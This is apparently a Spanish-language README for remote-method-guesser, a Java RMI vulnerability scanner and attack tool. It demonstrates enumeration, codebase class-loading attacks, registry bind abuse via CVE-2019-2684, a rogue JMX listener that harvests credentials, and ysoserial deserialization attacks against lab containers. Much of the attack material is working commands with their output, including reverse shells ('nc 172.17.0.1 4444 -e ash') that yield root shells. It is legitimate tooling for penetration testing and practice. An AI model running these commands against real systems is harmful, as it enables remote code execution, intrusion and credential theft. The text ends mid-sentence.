
Escáner de vulnerabilidades Java RMI
remote-method-guesser fue presentado en Black Hat USA2021 durante las sesiones de Arsenal. La grabación de la sesión y las diapositivas correspondientes están disponibles públicamente y se pueden encontrar en los siguientes enlaces:
El repositorio de remote-method-guesser contiene tres servidores de ejemplo que pueden usarse para practicar la enumeración y los ataques Java RMI. El rmg-example-server expone servicios RMI regulares que pueden enumerarse y explotarse usando remote-method-guesser. El rmg-ssrf-server expone un servicio HTTP vulnerable a ataques SSRF y ejecuta servicios RMI que solo escuchan en localhost. Esto puede usarse para practicar con las opciones --ssrf y --ssrf-response de remote-method-guesser. El spring-remoting-server expone interfaces RMI creadas mediante Spring Remoting. Estas son un poco diferentes del Java RMI regular y pueden usarse para probar la integración asociada de Spring Remoting de remote-method-guesser. Todos los servidores están disponibles como contenedores dentro del Registro de Contenedores de GitHub:
rmg es un proyecto maven y la instalación debería ser sencilla. Con maven instalado, solo ejecute los siguientes comandos para crear un archivo .jar ejecutable:```console
$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package
También puedes usar paquetes preconstruidos que se crean para [cada versión](https://github.com/qtc-de/remote-method-guesser/releases).
Los paquetes preconstruidos para la rama de desarrollo se crean automáticamente y se pueden encontrar en la *página de acciones* de *GitHub* [actions page](https://github.com/qtc-de/remote-method-guesser/actions).
*rmg* no incluye *ysoserial* como dependencia. Para habilitar el soporte de *ysoserial*, debes especificar la ruta a tu archivo ``ysoserial.jar`` como un argumento adicional (por ejemplo, ``--yso /opt/ysoserial.jar``) o cambiar la ruta predeterminada dentro del [archivo de configuración de rmg](https://github.com/qtc-de/remote-method-guesser/blob/master/src/config.properties) antes de compilar el proyecto.
*rmg* también es compatible con el autocompletado para *bash*. Para aprovechar el autocompletado, necesitas tener instalado el proyecto [completion-helpers](https://github.com/qtc-de/completion-helpers). Si está configurado correctamente, con solo copiar el [script de autocompletado](https://github.com/qtc-de/remote-method-guesser/blob/master/resources/bash_completion.d/rmg) a tu carpeta ``~/.bash_completion.d`` se habilita el autocompletado.```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/
A continuación, se presentan breves ejemplos de cada operación disponible. Para una descripción más detallada, consulte la carpeta de documentación que contiene información más detallada sobre rmg y Java RMI en general. Todos los ejemplos presentados se basan en el rmg-example-server y el rmg-ssrf-server. Ambos están contenidos en este repositorio en la carpeta docker y se pueden utilizar para practicar la enumeración de Java RMI. Puede construir los contenedores correspondientes usted mismo o descargarlos directamente desde el GitHub Container Registry.```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...
rmg v4.0.0 - a Java RMI Vulnerability Scanner
positional arguments:
action
bind Binds an object to the registry thats points to listener
call Regulary calls a method with the specified arguments
codebase Perform remote class loading attacks
enum Enumerate common vulnerabilities on Java RMI endpoints
guess Guess methods on bound names
known Display details of known remote objects
listen Open ysoserials JRMP listener
objid Print information contained within an ObjID
rebind Rebinds boundname as object that points to listener
roguejmx Creates a rogue JMX listener (collect credentials)
scan Perform an RMI service scan on common RMI ports
serial Perform deserialization attacks against default RMI components
unbind Removes the specified bound name from the registry
named arguments: -h, --help show this help message and exit
#### bind, rebind y unbind
Al usar la acción ``bind``, ``rebind`` o ``unbind``, es posible modificar los *bound names* disponibles dentro del *RMI registry*.
Esto es especialmente útil para verificar ``CVE-2019-2684``, que evita las restricciones de localhost y permite a usuarios remotos realizar
operaciones de bind. Al usar la acción ``bind`` o ``rebind``, *remote-method-guesser* vincula el *RemoteObject* ``javax.management.remote.rmi.RMIServerImpl_Stub``
por defecto, que es el *RemoteObject* usado por los servidores *jmx*. Además, debe especificar la dirección del *TCP endpoint* correspondiente
donde se puede encontrar el *RemoteObject* (dirección a la que los clientes deben conectarse cuando intentan usar su objeto vinculado).```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - my-object
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
Usando el Plugin System de remote-method-guesser, también es posible enlazar objetos personalizados al RMI registry. Para aprender más sobre el Plugin System, por favor consulta la carpeta de documentación.
Usando la acción call de remote-method-guesser, puedes invocar métodos remotos sin escribir ningún código Java. Considera que
existe el método String execute(String cmd) en el servidor remoto. Este método suena prometedor y quizás quieras invocarlo
usando una llamada Java RMI regular. Esto se puede hacer usando el siguiente comando:```console
[qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -
Ten en cuenta que llamar a métodos remotos no genera ninguna salida de forma predeterminada. Para procesar las salidas generadas por la acción ``call``, necesitas usar el [sistema de plugins](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/plugin-system.md) de *remote-method-guesser* y registrar un ``ResponseHandler`` o usar el plugin predeterminado
`GenericPrint`. `GenericPrint` está incluido en *remote-method-guesser* de forma predeterminada y puede activarse usando la opción `--show-response`.```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)
Durante la acción call, los argumentos proporcionados son evaluados como expresión Java al insertarlos en la siguiente plantilla:
new Object[]{ arg1, arg2, arg3, ... }. Por lo tanto, debes asegurarte de que tus argumentos proporcionados se ajusten a ese patrón. Por ejemplo,
usar "id" como argumento resulta en un error, ya que el argumento se pasa como id a remote-method-guesser y la expresión resultante
new Object[]{ id } no es una expresión Java válida. En su lugar, debes usar '"id"' ya que esto produce new Object[]{ "id" },
lo cual es válido.
Además, los tipos primitivos deben especificarse en su representación de objeto correspondiente (por ejemplo, new Integer(5) en lugar de 5). De lo contrario, no
pueden ser utilizados dentro del arreglo Object[], que es creado por la expresión Java. Durante la llamada RMI, los argumentos correspondientes se usan
como se espera y se ajustarán a la firma del método especificado. Para casos de uso más complejos, también puedes definir un ArgumentProvider personalizado usando
el sistema de plugins de remote-method-guessers sistema de plugins.
Java RMI soporta una característica llamada códigos base, donde el cliente y el servidor pueden especificar URLs durante llamadas RMI que pueden ser utilizados para cargar clases desconocidas dinámicamente. Si un servidor RMI acepta un código base especificado por el cliente, esto puede llevar a ejecución remota de código cuando el cliente proporciona una clase Java maliciosa durante la comunicación RMI.
La configuración de código base en un servidor RMI puede ser diferente para los distintos componentes: Activator, DGC, Registry y Application Level.
remote-method-guesser permite probar cada componente individualmente usando --signature <method> (application level),
--component act (activador), --component dgc (recolector de basura distribuido) o --component reg (registro RMI) junto con la
acción codebase.
Application Level:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -
*RMI Registry*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] Caught ClassCastException during codebase attack.
[+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -
Recolector de Basura Distribuido:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -
*Activador*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] Caught IllegalArgumentException during codebase attack.
[+] Codebase attack was probably successful :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -
La acción enum realiza varias comprobaciones en el endpoint Java RMI especificado e imprime los resultados correspondientes. Para una explicación más detallada sobre la salida generada por la acción enum, puede leer la página de documentación correspondiente.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.example/well-hidden-development-folder/
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
#### guess
Al usar la acción ``guess``, *remote-method-guesser* intenta identificar métodos remotos existentes enviando hashes de métodos
al servidor remoto. Esta operación requiere un wordlist que contenga las definiciones de método correspondientes.
*remote-method-guesser* incluye algunos wordlists predeterminados que se incorporan al archivo ``.jar`` durante la fase de compilación.
Puedes sobrescribir las ubicaciones de los wordlists modificando el [archivo de configuración de rmg](https://github.com/qtc-de/remote-method-guesser/blob/master/src/config.properties) o usando las opciones ``--wordlist-file``
o ``--wordlist-folder``. Los métodos con cero argumentos se omiten durante la adivinación, ya que provocan llamadas a métodos reales
en el lado del servidor. Puedes habilitar la adivinación en métodos con cero argumentos usando el modificador ``--zero-arg``.```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
Al realizar la acción enum, remote-method-guesser marca los nombres vinculados disponibles en el registro RMI ya sea como known o como unknown. Esta decisión depende de la clase implementada por el nombre vinculado correspondiente y de si dicha clase está contenida en la lista de endpoints conocidos que se encuentra en el repositorio de remote-method-guesser. Cuando un nombre vinculado se marca como known, puede usar la acción known en la clase correspondiente. Al hacerlo, se devuelve información sobre la clase correspondiente, como los métodos remotos disponibles, una descripción general y posibles vulnerabilidades:```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter
La lista de clases conocidas, su descripción y la lista de vulnerabilidades conocidas está lejos de estar completa.
Con suerte, crecerá en el futuro y se basa en la entrada de otros usuarios. Si encuentras un *RMI endpoint*
que implementa una clase actualmente faltante y tienes suficiente información (descripción y métodos disponibles),
no dudes en crear un issue o pull request.
#### listen
A veces es necesario proporcionar un *JRMPListener* malicioso, que sirve payloads de deserialización
a las conexiones *RMI* entrantes. No es necesario escribir dicho listener desde cero, ya que es proporcionado por el
[proyecto ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java).
*remote-method-guesser* proporciona un envoltorio alrededor de la implementación de *ysoserial*, que te permite iniciar un *JRMPListener*
usando la sintaxis habitual de *rmg*:```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...
La acción objid se puede utilizar para mostrar información más detallada sobre un ObjID. Cada RemoteObject recibe un ObjID cuando es exportado por el RMI runtime. Se requiere conocer el valor del ObjID para comunicarse con un RemoteObject, que es también la razón por la que normalmente se necesita un RMI registry. El RMI registry contiene el ObjID para cada bound name y remote-method-guesser los muestra durante la acción enum.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]
``ObjID`` values consist out of different components. These components are displayed in human readable form when
using the ``objid`` action on the corresponding ``ObjID``:```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 1096154566158180646
[+] UID:
[+] Unique: -734386537
[+] Time: 1638254048332 (Nov 30,2021 07:34)
[+] Count: -32759
La mayor parte de la información mostrada no es muy útil, pero el valor Time puede ser interesante. Este valor contiene la hora en que se creó el RemoteObject. Por lo tanto, permite determinar cosas como el tiempo de actividad de un servidor RMI.
A veces identificas servicios que suelen incluir componentes Java RMI (JBoss, Solr, Tomcat, ...), pero no quieres realizar un escaneo de puertos completo en el host correspondiente. En estas situaciones, la acción scan puede ser útil. Realiza un escaneo rápido de puertos solo para los puertos RMI comunes e intenta identificar servicios RMI en ellos:```console
[qtc@devbox ~]$ rmg scan 172.17.0.2
[+] Scanning 112 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [119 / 119] [#############################] 100%
[+]
[+] Portscan finished.
Por defecto, las acciones de escaneo utiliza una lista preconfigurada de puertos *RMI comunes*. Para personalizar la lista de puertos a escanear, puede usar la opción ``--ports``. Esta opción acepta números simples y rangos de números para especificaciones de puertos. El carácter de guión (``-``) se puede usar para referirse a la lista de puertos predeterminada.```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.
Observa que la acción scan está implementada de una manera simple y no fiable. Si es posible, siempre deberías
realizar un escaneo de puertos dedicado utilizando herramientas como nmap. Sin embargo, la acción scan
puede darte una rápida orientación para encontrar puertos RMI.
La acción roguejmx crea un escucha JMX en tu sistema que captura las credenciales de las conexiones entrantes.
Después de crear el escucha, remote-method-guesser imprime el valor ObjID que es necesario para interactuar con él.```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
Usando las operaciones ``bind`` y ``rebind`` puedes inyectar este listener en un *registro RMI* y esperar a que otros usuarios se conecten a tu servidor:```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials
Las conexiones entrantes son registradas por el listener:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!
*remote-method-guesser* usa por defecto el valor de *ObjID* ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]`` para las operaciones *bind*
y el servidor *JMX* malicioso. Por lo tanto, no es necesario especificar manualmente el *ObjID* como se muestra arriba. Puede cambiar el valor
predeterminado de *ObjID* mediante argumentos de línea de comandos o dentro del archivo de configuración de *remote-method-guesser*.
El servidor *JMX* malicioso devuelve una excepción de acceso (credenciales no válidas) para cada conexión entrante de forma predeterminada, pero
también puede reenviar las conexiones entrantes a una instancia *JMX* diferente. Esto permite obtener credenciales
de las conexiones entrantes de los clientes sin interrumpir ningún servicio. Para reenviar conexiones, debe especificar el
destino correspondiente como un argumento adicional. Los destinos se pueden especificar de dos maneras diferentes:
1. La dirección IP y el puerto de un registro RMI junto con el nombre vinculado de la instancia *JMX* correspondiente: ```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] --> Forwarding connections to: 172.17.0.2:9010:jmxrmi
[+]
#### serial
*Java RMI* utiliza *objetos serializados de Java* dentro de la comunicación cliente-servidor. Esto lo hace potencialmente vulnerable a *ataques de deserialización*. Estos ataques pueden dirigirse a diferentes *componentes RMI*:
* Componentes *RMI conocidos* (*RMI internos*)
* *Registro RMI*
* *DGC*
* *Activator*
* *RemoteObjects* definidos por el usuario (*nivel de aplicación*)
##### Componentes RMI conocidos
Mientras que los *servidores RMI* modernos aplican *filtros de deserialización* en estos *componentes RMI conocidos* (*JEP290*), los servidores más antiguos aún pueden ser vulnerables a *ataques de deserialización*. *remote-method-guesser* permite verificar esto mediante la acción ``serial``, que puede realizar ataques de deserialización en el *Activator*, *Distributed Garbage Collector* (*DGC*) o el *Registro RMI*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] Caught ClassCastException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)
En el caso del registro RMI, los filtros de deserialización pueden ser omitidos mediante el uso de los gadgets de omisión JRMPClient o An Trinh. Estos gadgets crean un canal RMI saliente que ya no aplica filtros de deserialización. En este canal, los ataques de deserialización se pueden aplicar como de costumbre, pero ambas omisiones fueron corregidas en las versiones más recientes de Java RMI.```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.
[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection
[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)
Durante su acción ``enum``, *remote-method-guesser* le informa si hay un *Activator* presente en un *endpoint RMI* (componente *RMI* heredado).
La implementación predeterminada del *sistema de Activación* no implementa ningún filtro de deserialización para el *RemoteObject del Activator*. Por lo tanto,
los ataques de deserialización en un endpoint *Activator* deberían funcionar siempre, incluso en las versiones más recientes de *Java*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] Caught IllegalArgumentException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
Mientras que las implementaciones modernas de Java RMI protegen los componentes RMI conocidos con filtros de deserialización por defecto, los RemoteObjects personalizados (aplicaciones RMI reales) normalmente no están protegidos. Por lo tanto, los métodos remotos que no solo usan tipos primitivos en sus argumentos pueden ser utilizados para ataques de deserialización.
Esta entrada de blog de Hans-Martin Münch explica este problema con más detalle. remote-method-guesser se puede utilizar para verificar fácilmente tales vulnerabilidades. Como ejemplo, podemos usar el método String login(java.util.HashMap dummy1) del servidor de ejemplo de remote-method-guesser para realizar un ataque de deserialización:```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.util.HashMap on position 0
[+] Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430.
[+] Deserialization attack probably worked :)
[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)
### Más Características
*remote-method-guesser* incluye muchas características que no se explican en este archivo *README.md*. Algunas
de ellas se enumeran a continuación:
* Casi todas las operaciones pueden usarse con la opción ``--ssrf`` para crear un payload *SSRF* para la operación
correspondiente.
* Si obtuvo una salida binaria del *servidor RMI* (por ejemplo, después de un ataque *SSRF*), puede alimentarlo a *remote-method-guesser*
